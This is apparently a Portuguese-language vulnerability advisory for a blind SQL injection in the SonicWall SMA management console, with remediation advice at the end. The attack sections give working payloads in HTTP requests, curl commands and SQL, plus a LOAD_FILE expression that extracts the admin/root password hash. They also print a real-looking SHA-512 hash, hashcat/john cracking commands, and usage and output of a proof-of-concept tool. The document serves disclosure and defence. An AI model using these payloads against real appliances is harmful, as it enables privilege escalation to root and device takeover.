
Neutralização inadequada de elementos especiais usados em um comando SQL (“Injeção de SQL”) nos appliances da série SonicWall SMA1000 permite que um atacante remoto autenticado com privilégios de administrador somente leitura eleve privilégios para administrador primário.
Uma vulnerabilidade de injeção SQL cega pós-autenticação no console de gerenciamento do SonicWall SMA 8200v (porta 8443) permite que qualquer administrador autenticado — incluindo contas somente leitura de baixo privilégio — extraia o hash SHA-512 da senha do administrador principal do arquivo de configuração do appliance. Como a SonicWall usa a mesma credencial tanto para o administrador do console de gerenciamento quanto para a conta root do sistema operacional, quebrar esse hash concede acesso total de nível root ao appliance.
Classificação: Escalação de Privilégios (Administrador de baixo privilégio para Root) CVSS 3.1: 7.2 (Alto) — AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H Complexidade do Ataque: Baixa (PoC automatizado conclui a extração em ~60-90 minutos) Pré-requisitos: Qualquer credencial válida do console de gerenciamento (incluindo contas somente leitura)
O console de gerenciamento constrói consultas SQL para o painel de Usuários Ativos usando um método auxiliar safeParam() na classe com.aventail.mgmt.sql.Sql. Esse método escapa aspas simples (') e aspas duplas (") duplicando-as, mas não escapa caracteres de barra invertida (\).
No MySQL/MariaDB, uma barra invertida é o caractere de escape padrão dentro de literais de string. A sequência \' faz com que o banco de dados interprete a aspa simples como um caractere literal em vez de um terminador de string. Isso significa que uma barra invertida no final de um valor de parâmetro escapará a aspa de fechamento que o aplicativo anexa, fazendo com que o literal de string SQL se estenda para a sintaxe adjacente.
Lacuna de sanitização:```
Input: test
safeParam output: test\ (backslash NOT escaped)
In SQL: ... rt.name='test') AND (ct.name='...'
^^ backslash escapes the closing quote
O fechamento `'` após `test\` é consumido como um caractere de aspas literal dentro da string, então o literal de string SQL se estende através do limite `) AND (ct.name='` e para dentro do valor do próximo parâmetro, onde SQL controlado pelo atacante pode ser injetado.
### 3.2 Mecânica de Injeção: Técnica de Parâmetros Cruzados
O endpoint `activeUsers.action` aceita múltiplos parâmetros de filtro que são interpolados em uma única cláusula WHERE do SQL. Os parâmetros relevantes são `realmFilter` e `communityFilter`, que aparecem em uma consulta estruturada aproximadamente como:```sql
SELECT ... FROM ...
WHERE ...
AND (rt.name='<realmFilter>')
AND (ct.name='<communityFilter>')
...
Configuração do parâmetro de ataque:
| Parâmetro | Valor | Finalidade |
|---|---|---|
realmFilter | test\ | A barra invertida final escapa a aspa de fechamento, estendendo o literal de string através do limite AND |
communityFilter | )) OR (SELECT IF(<condição>,SLEEP(N),0))-- x | Fecha os parênteses abertos, injeta SLEEP condicional, comenta o restante |
SQL resultante após interpolação:```sql WHERE ... AND (rt.name='test') AND (ct.name=' )) OR (SELECT IF(,SLEEP(N),0))-- x')
Analisando isto:
1. `rt.name='test\')` — o `\` escapa o `'`, então a string não fecha aqui
2. `AND (ct.name='` — torna-se parte do valor da string (texto literal)
3. A string finalmente fecha no próximo `'` (do início de `communityFilter`)
4. `))` — fecha os dois parênteses abertos da estrutura da cláusula WHERE
5. `OR (SELECT IF(...))` — injeta a condição de SQLi cega
6. `-- x` — comenta o SQL restante (`')` e outras cláusulas)
### 3.3 Extração Cega Baseada em Tempo
Como o tratamento de erros do Struts 2 da aplicação captura exceções SQL de forma graciosa (sempre retornando HTTP 200 com o mesmo conteúdo de página, independentemente do sucesso ou falha da consulta), os métodos de extração baseados em erro e UNION não são viáveis. A injeção é explorada usando a técnica cega baseada em tempo:
- **Condição VERDADEIRA:** `IF(<condição>, SLEEP(N), 0)` — resposta atrasada pela duração do SLEEP multiplicada pela contagem de linhas do conjunto de resultados
- **Condição FALSA:** Sem SLEEP — resposta retorna em ~200-500ms
A função SLEEP executa por linha na avaliação da cláusula WHERE. Com uma tabela de monitoramento típica contendo 30-300+ linhas, mesmo um valor pequeno de SLEEP (ex.: 0,3s) produz um atraso claramente distinguível (10-100s para VERDADEIRO vs. <1s para FALSO).
Cada caractere dos dados alvo é extraído via busca binária sobre o intervalo ASCII:```sql
ORD(SUBSTRING((<extraction_expr>), <position>, 1)) > <midpoint>
Isto requer um máximo de 7 solicitações por caractere (log2(128) = 7), resultando em ~686 solicitações totais para um hash SHA-512 de 98 caracteres.
PRIVILEGE ESCALATION CHAIN
============================================================================
[1] Authenticate Low-privilege admin (e.g., "readonly") | authenticates to management console on port 8443 | using "Local Authentication" realm v [2] SQL Injection Cross-parameter blind SQLi via activeUsers.action | realmFilter backslash + communityFilter payload | Condition: IF(, SLEEP(N), 0) v [3] LOAD_FILE() MariaDB DbAdmin user has FILE privilege | secure_file_priv=NULL does NOT block reads | avconfig.xml is group-readable (mode 664) v [4] Locate Hash LOCATE('consoleMode', file) anchors to admin section | LOCATE('', file, anchor) finds hash element | SUBSTRING + SUBSTRING_INDEX extracts hash value v [5] Extract Hash Binary search extracts hash char-by-char | ~98 chars * ~7 requests = ~686 requests | Output: $6$$ (SHA-512 crypt) v [6] Crack Hash hashcat -m 1800 / john --format=sha512crypt | Admin password = Root SSH password (by design) v [7] Full Compromise SSH as root, management console as admin Complete appliance takeover
### 4.2 Passo 1: Autenticação
O console de gerenciamento do SMA suporta dois realms de autenticação:
| Realm ID | Nome de Exibição | Usuários |
|----------|-------------|-------|
| *(vazio)* | Console de Gerenciamento | Apenas a conta de administrador principal |
| `AMCAuthRealm` / `Local Authentication` | Autenticação Local | Contas de administrador secundárias (readonly, custom) |
O ataque requer apenas uma credencial válida para **qualquer** conta com acesso ao console de gerenciamento. A conta "readonly" — destinada a acesso somente de monitoramento, sem capacidade de alteração de configuração — é suficiente.
A autenticação é realizada por meio de autenticação baseada em formulário J2EE:
1. `GET /console.action` — recupera a página de login, extrai o token CSRF do campo oculto do formulário
2. `POST /j_security_check` — envia `csrfToken`, `j_username`, `j_password` e `realmId`
3. Redirecionamento HTTP 303 em caso de sucesso, cookie `JSESSIONID` estabelecido
### 4.3 Passo 2: Injeção de SQL
Após a autenticação, o atacante envia uma solicitação POST para `/activeUsers.action` com a injeção entre parâmetros:```
POST /activeUsers.action HTTP/1.1
Host: <target>:8443
Cookie: JSESSIONID=<session>
Content-Type: application/x-www-form-urlencoded
realmFilter=test\&communityFilter=)) OR (SELECT IF(1=1,SLEEP(0.3),0))-- x&userNameFilter=&zoneFilter=&platformFilter=&agentFilter=&agentVersionFilter=&sessionType=activeSessions&timePeriod=0&pageSize=25&command=filter
O teste incondicional IF(1=1, SLEEP(0.3), 0) verifica se a injeção é funcional ao observar um atraso mensurável na resposta HTTP.
O banco de dados MariaDB é executado sob o usuário do SO DbAdmin (uid=1001, gid=500 aventail). Esse usuário do banco possui ALL PRIVILEGES ON *.* WITH GRANT OPTION, incluindo o privilégio FILE necessário para o LOAD_FILE().
Uma descoberta crítica: apesar da configuração do MariaDB secure_file_priv = NULL (que bloqueia operações de escrita INTO OUTFILE e INTO DUMPFILE), a função LOAD_FILE() para leitura de arquivos permanece totalmente operacional. Esse é um comportamento documentado, porém pouco compreendido, do MariaDB — secure_file_priv=NULL restringe os caminhos de escrita de arquivos, mas não desabilita a leitura de arquivos quando o usuário possui o privilégio FILE.
O arquivo de configuração alvo /usr/local/app/mgmt-server/datastore/active/sysconf/avconfig.xml pertence a mgmt-server:aventail com permissões 664 (rw-rw-r--). Como o usuário do SO DbAdmin está no grupo aventail, o LOAD_FILE() pode ler esse arquivo.
Verificação via SQLi cega:```sql -- Check file is readable (non-NULL) IF(LOAD_FILE(0x2f7573722f6c6f63616c2f...)...) IS NOT NULL, SLEEP(0.3), 0) -- TRUE: file is readable
### 4.5 Passo 4: Localizando o Hash do Administrador no avconfig.xml
O arquivo `avconfig.xml` (~98KB) é o armazenamento mestre de configuração do appliance. Ele contém todas as credenciais de usuário em formato criptográfico SHA-512 dentro de elementos XML `<password>`. O hash principal do administrador está localizado em um bloco `<credentials_item>` próximo a um elemento `<consoleMode>` que é exclusivo da seção de administrador.
Em vez de depender de deslocamentos de bytes codificados (que quebrariam se a configuração acima da seção de administrador mudasse), a extração usa funções de string do MySQL para localizar dinamicamente o hash:```sql
SUBSTRING_INDEX(
SUBSTRING(
LOAD_FILE(<path>),
LOCATE('<password>', LOAD_FILE(<path>),
LOCATE('consoleMode', LOAD_FILE(<path>))
) + 10, -- skip past '<password>' tag (10 chars)
120 -- max SHA-512 crypt length
),
'<', -- trim at '</password>' closing tag
1
)
Lógica:
LOCATE('consoleMode', file) — encontra o deslocamento de bytes da string consoleMode, ancorando na seção de configuração do administradorLOCATE('<password>', file, anchor_offset) — encontra a primeira tag <password> após essa âncoraSUBSTRING(file, tag_offset + 10, 120) — extrai o valor do hash (pulando a tag <password> de 10 caracteres)SUBSTRING_INDEX(result, '<', 1) — corta na tag de fechamento </password>Essa abordagem é independente de posição e resiliente a mudanças de configuração em outras partes do arquivo. Toda a expressão é codificada usando literais hexadecimais do MySQL (0x...) para evitar problemas de aspas no contexto da injeção.
Cada caractere do hash é extraído via busca binária:```sql -- Is character at position P greater than midpoint M? IF(ORD(SUBSTRING((<hash_expr>),
, 1)) > , SLEEP(0.3), 0)
A pesquisa binária reduz o intervalo ASCII [0, 127] pela metade a cada requisição:
| Etapa | Intervalo | Teste | Resultado |
|------|-------|------|--------|
| 1 | [0, 127] | > 63? | VERDADEIRO → [64, 127] |
| 2 | [64, 127] | > 95? | FALSO → [64, 95] |
| 3 | [64, 95] | > 79? | FALSO → [64, 79] |
| ... | ... | ... | ... |
| 7 | [n, n] | convergiu | Caractere = chr(n) |
Para o hash de admin conhecido (`$6$WHTK8ybQ$MchVNW...`), a extração de todos os 98 caracteres requer aproximadamente 686 requisições HTTP.
### 4.7 Etapa 6: Quebra de Hash
O hash extraído está no formato padrão de criptografia SHA-512 crypt:```
$6$WHTK8ybQ$MchVNWPdTpsP7oDyQSs1jW/.4ppR8/uzmvh06sbEPITNOO6JpeJdtEuD13yiHsF8ZvFdqaDkchMh.9O.e38Q/0
| Campo | Valor |
|---|---|
| Algoritmo | — SHA-512 crypt |
hashcat -m 1800 -a 0 admin.hash /usr/share/wordlists/rockyou.txt -O
john --format=sha512crypt --wordlist=/usr/share/wordlists/rockyou.txt admin.hash
### 4.8 Passo 7: Comprometimento Total
A arquitetura do SonicWall SMA usa a senha de administrador do console de gerenciamento como senha root do SO. Esta é uma decisão de design — quando a senha de administrador é definida ou alterada pelo console de gerenciamento, ela é aplicada tanto à interface web quanto à conta root do Linux subjacente. Portanto, quebrar o hash do administrador fornece:
- **Console de Gerenciamento (porta 8443):** Acesso administrativo completo a toda configuração, políticas, gerenciamento de usuários e monitoramento
- **SSH (porta 22):** Acesso ao shell root do sistema operacional Debian Linux subjacente
- **Console Serial:** Login root para acesso físico/out-of-band
---
## 5. Fatores Contribuintes
Múltiplas decisões arquiteturais se combinam para tornar esta vulnerabilidade explorável:
### 5.1 Sanitização SQL Incompleta
O método `safeParam()` em `com.aventail.mgmt.sql.Sql` escapa aspas, mas não barras invertidas. Esta é uma classe bem conhecida de injeção SQL — o comportamento de escape de barras invertidas do MySQL é documentado como uma preocupação de segurança desde o início dos anos 2000. A correção é trivial: escapar barras invertidas (`\` → `\\`), ou definir o modo SQL `NO_BACKSLASH_ESCAPES`, ou usar consultas parametrizadas.
### 5.2 Usuário de Banco de Dados com Privilégios Excessivos
O usuário MariaDB `DbAdmin` executa com `ALL PRIVILEGES ON *.* WITH GRANT OPTION`. Isso concede capacidades muito além do que a aplicação requer, incluindo:
- Privilégio `FILE` (LOAD_FILE, INTO OUTFILE)
- Privilégio `SUPER`
- `GRANT OPTION` (pode criar novas contas de superusuário)
A aplicação só precisa de SELECT/INSERT/UPDATE/DELETE em seus próprios bancos de dados. Os privilégios excessivos transformam uma injeção SQL de extração de dados em leitura/escrita arbitrária de arquivos.
### 5.3 Configuração Incorreta do secure_file_priv
Embora `secure_file_priv = NULL` bloqueie operações de **escrita** de arquivos (`INTO OUTFILE`, `INTO DUMPFILE`), ele **não** bloqueia operações de **leitura** de arquivos (`LOAD_FILE()`). Este é um comportamento documentado do MariaDB que é frequentemente mal compreendido. Administradores e desenvolvedores frequentemente assumem que `secure_file_priv = NULL` desativa toda E/S de arquivos, mas ele apenas restringe o caminho de escrita.
Para desativar completamente o `LOAD_FILE()`, o privilégio `FILE` deve ser revogado do usuário do banco de dados:```sql
REVOKE FILE ON *.* FROM 'DbAdmin'@'localhost';
O arquivo avconfig.xml que contém todos os hashes de senha pertence a mgmt-server:aventail com modo 664. O grupo aventail inclui o usuário de SO DbAdmin (sob o qual o MariaDB é executado). Isso significa que o processo do banco de dados pode ler o arquivo de configuração mestre do appliance, incluindo todas as credenciais armazenadas.
Um modelo de permissões mais restritivo (por exemplo, modo 600 pertencente a mgmt-server:mgmt-server, ou armazenar os hashes em um arquivo de segredos dedicado legível apenas pelo aplicativo de gerenciamento) impediria que LOAD_FILE() acessasse os hashes mesmo com o privilégio FILE.
A decisão de design de usar a mesma senha para o admin do console de gerenciamento e a conta root do SO significa que extrair o hash do admin da camada de aplicação concede diretamente acesso root ao sistema operacional. Isso elimina qualquer fronteira entre a camada de aplicação web e o sistema operacional subjacente.
A função "readonly" do console de gerenciamento destina-se a fornecer acesso apenas de monitoramento, sem capacidade de alteração de configuração. No entanto, o endpoint activeUsers.action processa os parâmetros de filtro de forma idêntica para todos os usuários autenticados, independentemente da função. A conta somente leitura pode executar a mesma injeção de SQL que o admin principal, porque a vulnerabilidade está no caminho de recuperação de dados (listagem/filtragem de usuários ativos), não em um caminho de alteração de configuração.
Uma ferramenta de exploração totalmente automatizada foi desenvolvida e validada contra o alvo em produção.
Uso (conta somente leitura — comprovando escalonamento de privilégios):```bash
python3 sma_admin_hash_poc.py
-t 10.10.185.35
--user readonly
--password <readonly_password>
--realm "Local Authentication"
-o admin.hash
-v
**Fases de execução:**
1. **Fase 1: Autenticação** — Faz login com as credenciais e realm especificados, obtém JSESSIONID
2. **Fase 2: Verificação** — Confirma que o SQLi está funcional (timing SLEEP), que LOAD_FILE consegue ler avconfig.xml e que o anchor do hash admin está presente
3. **Fase 3: Extração** — Busca binária extrai o hash SHA-512 completo, caractere por caractere
4. **Fase 4: Saída** — Escreve o hash em formato compatível com hashcat e imprime comandos de cracking
**Saída observada:**```
[*] Target: 10.10.10.35:8443
[*] User: readonly
[*] Realm: Local Authentication
[*] Phase 1: Authenticating to admin console...
[+] Authentication successful
[*] Phase 2: Verifying attack prerequisites...
[+] SQLi CONFIRMED - IF(1=1,SLEEP) triggered (16.7s)
[+] LOAD_FILE(avconfig.xml) - readable
[+] consoleMode anchor found in avconfig.xml
[+] Admin SHA-512 hash located in avconfig.xml
[*] Phase 3: Extracting admin password hash...
Extracting admin hash: $6$WHTK8ybQ$MchVNWPdTps...
A injeção também pode ser verificada manualmente sem a ferramenta PoC:```bash
curl -sk -c cookies.txt
"https://:8443/console.action" | grep csrfToken
curl -sk -b cookies.txt -c cookies.txt
-d "csrfToken=&j_username=readonly&j_password=&realmId=Local+Authentication"
"https://:8443/j_security_check"
time curl -sk -b cookies.txt
-d "realmFilter=test&communityFilter=test&sessionType=activeSessions&timePeriod=0&pageSize=25&command=filter"
"https://:8443/activeUsers.action" -o /dev/null -w "%{time_total}"
time curl -sk -b cookies.txt
--data-urlencode "realmFilter=test\"
--data-urlencode "communityFilter=)) OR (SELECT 1 FROM (SELECT SLEEP(5)) AS t)-- x"
-d "sessionType=activeSessions&timePeriod=0&pageSize=25&command=filter"
"https://:8443/activeUsers.action" -o /dev/null -w "%{time_total}"
### 6.3 Verificação Direta de SQL via CLI do MySQL
Com acesso SSH de root, a expressão de extração de SQL pode ser verificada diretamente:```sql
-- Verify LOAD_FILE reads the config (returns file size)
SELECT LENGTH(LOAD_FILE('/usr/local/app/mgmt-server/datastore/active/sysconf/avconfig.xml'));
-- Result: 98248
-- Extract admin hash directly
SELECT SUBSTRING_INDEX(
SUBSTRING(
LOAD_FILE('/usr/local/app/mgmt-server/datastore/active/sysconf/avconfig.xml'),
LOCATE('<password>',
LOAD_FILE('/usr/local/app/mgmt-server/datastore/active/sysconf/avconfig.xml'),
LOCATE('consoleMode',
LOAD_FILE('/usr/local/app/mgmt-server/datastore/active/sysconf/avconfig.xml')
)
) + 10,
120
),
'<',
1
) AS admin_hash;
-- Result: $6$WHTK8ybQ$MchVNWPdTpsP7oDyQSs1jW/.4ppR8/uzmvh06sbEPITNOO6JpeJdtEuD13yiHsF8ZvFdqaDkchMh.9O.e38Q/0
| Impacto | Descrição |
|---|---|
| Confidencialidade | Acesso total de leitura a todos os ficheiros legíveis pelo grupo aventail, incluindo ficheiros de configuração, credenciais, certificados e chaves |
Cenário 1: Ameaça Interna / Violação do Privilégio Mínimo Um administrador só de leitura (analista de SOC, auditor, engenheiro júnior) com acesso legítimo de monitorização escala para administrador/root total, contornando todos os controlos de acesso baseados em funções.
Cenário 2: Escalonamento por Comprometimento de Credenciais Um atacante que obtenha qualquer credencial da consola de gestão (phishing, credential stuffing, palavras-passe predefinidas) pode escalar para root, independentemente do nível de privilégio pretendido da conta comprometida.
Cenário 3: Pivot de Rede O acesso root ao dispositivo SMA proporciona uma posição persistente na periferia da rede. O atacante pode intercetar tráfego VPN, modificar o encaminhamento, aceder a segmentos de rede internos e extrair todas as credenciais de utilizadores VPN da configuração.
Consultas Parametrizadas: Substituir a interpolação de strings em safeParam() por prepared statements / consultas parametrizadas em toda a camada SQL da consola de gestão. Isto elimina a injeção independentemente do escape de caracteres.
Revogar o Privilégio FILE: Remover o privilégio FILE do utilizador de base de dados DbAdmin: ```sql
REVOKE FILE ON . FROM 'DbAdmin'@'localhost';
FLUSH PRIVILEGES;
Restringir Privilégios do Banco de Dados: Aplique o princípio do menor privilégio ao DbAdmin — conceda apenas SELECT, INSERT, UPDATE, DELETE nos bancos de dados específicos que a aplicação requer (monitoring, scheduler, troubleshooting).
Restringir Permissões do avconfig.xml: Altere a propriedade e as permissões do arquivo para impedir que o usuário do banco de dados leia a configuração: ```bash chown mgmt-server:mgmt-server /usr/local/app/mgmt-server/datastore/active/sysconf/avconfig.xml chmod 600 /usr/local/app/mgmt-server/datastore/active/sysconf/avconfig.xml
Separar Credenciais de Admin e Root: Desacoplar a senha de administrador do console de gerenciamento da senha de root do SO. Use credenciais distintas com mecanismos independentes de alteração/rotação.
Acesso a Endpoints Baseado em Função: Restringir o endpoint activeUsers.action (e todos os demais endpoints de consulta de dados) com base na função do usuário na camada de aplicação, não apenas no nível de UI/menu.
Endurecimento do Modo SQL: Definir NO_BACKSLASH_ESCAPES na configuração do MariaDB para desabilitar a interpretação global de escapes com barra invertida: ```ini
[mysqld]
sql_mode = NO_BACKSLASH_ESCAPES,STRICT_TRANS_TABLES
Separação de Armazenamento de Hashes: Armazene hashes de senhas em um arquivo dedicado ou tabela de banco de dados que não seja acessível ao usuário geral do banco de dados da aplicação, em vez de no arquivo principal de configuração XML.
LOAD_FILE() requer privilégio FILE; secure_file_priv restringe SELECT ... INTO mas não LOAD_FILE()NO_BACKSLASH_ESCAPES não está definido, \ é tratado como caractere de escape em literais de string$6$, rounds configuráveis (padrão 5000), saída de hash Base64 de 86 caracteres$6$)| Componente | Detalhes |
|---|
| Plataforma | SonicWall SMA 8200v (appliance virtual) |
| Firmware | 12.5.0-02283 (confirmado); provavelmente todos os 12.x |
| Serviço | Console de Gerenciamento — Jetty + Struts 2 (porta 8443) |
| Endpoint | POST /activeUsers.action |
| Parâmetros Vulneráveis | realmFilter, communityFilter (entre parâmetros) |
| Classe da Causa Raiz | com.aventail.mgmt.sql.Sql.safeParam() |
| Banco de Dados | MariaDB 10.11.14, usuário DbAdmin (TODOS OS PRIVILÉGIOS + FILE) |
| Arquivo Alvo | /usr/local/app/mgmt-server/datastore/active/sysconf/avconfig.xml |
$6$| Salt | WHTK8ybQ |
| Rounds | 5000 (padrão, não especificado) |
| Modo Hashcat | 1800 |
| Formato John | sha512crypt |
| Integridade | Após a quebra de hashes: o acesso total à consola de administração permite alterações arbitrárias de configuração, modificações de políticas e gestão de utilizadores |
| Disponibilidade | O acesso root permite interrupção de serviços, destruição de dados ou danificação permanente do dispositivo |
| Data | Evento |
|---|
| 2026-02-24 | SQLi entre parâmetros identificada via análise estática de safeParam() |
| 2026-02-24 | SQLi cego confirmado com sessão de administrador (timing SLEEP) |
| 2026-02-25 | SQLi confirmado com conta somente leitura (vetor de escalonamento de privilégios) |
| 2026-02-25 | LOAD_FILE() confirmado operacional apesar de secure_file_priv=NULL |
| 2026-02-25 | avconfig.xml identificado como armazenamento de credenciais com hash admin/root |
| 2026-02-25 | Expressão de extração SQL validada via MySQL CLI |
| 2026-02-25 | Extração automatizada completa confirmada com ferramenta PoC (sma_admin_hash_poc.py) |
| 2026-02-25 | Cadeia de escalonamento de privilégios validada: somente leitura -> hash admin/root |